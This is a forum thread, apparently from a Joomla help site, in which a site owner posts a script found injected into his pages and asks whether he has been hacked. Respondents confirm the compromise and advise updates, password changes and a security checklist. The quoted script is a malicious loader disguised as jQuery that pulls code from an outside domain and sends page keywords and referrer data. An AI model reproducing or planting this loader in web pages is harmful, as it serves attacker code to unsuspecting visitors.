1

When the website is opened, I notice a message on the lower left hand side of the page with an unfamiliar address. Examining the source code I see the following:

<script>var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('<script type="text/javascript" src="http://www.blackdragon.fr/js/jquery.min.php?c_utt=G91825&c_utm='+encodeURIComponent('http://www.blackdragon.fr/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function(){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<y;x++){if(metas[x].name.toLowerCase()=="keywords"){keywords+=metas[x].content;}}}return keywords!==''?keywords:null;})())==null?(v=window.location.search.match(/utm_term=([^&]+)/))==null?(t=document.title)==null?'':t:v[1]:k))+'&se_referrer='+encodeURIComponent(document.referrer)+'&source='+encodeURIComponent(window.location.host))+'"><'+'/script>');}</script>

Have I been hacked? Advice would be appreciated. -Carter

  • Update Joomla. Update all extensions. Update all passwords (cpanel, ftp, admin etc). Try to find the source of the issue. – Lodder Mar 21 '16 at 13:31
  • Also, whose in charge of the server? Is this is a vm or actual box you manage can log into? If your folder/file permissions are not strict enough, imnediately check the PHP template files in question to ensure code was not inserted. iIt's possible your server has been compromised. – Brian Bolli Mar 21 '16 at 14:57
  • Joomla and all extensions are up to date. The site is on rackspace. I agree and I'm looking for the source of the problem. – Carter Harris Mar 21 '16 at 15:19
1

Yes, your site has been compromised.

Please, review the following checklist:

Security Checklist/You have been hacked or defaced https://docs.joomla.org/Security_Checklist/You_have_been_hacked_or_defaced

More info: What to do if my Joomla website got hacked?

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.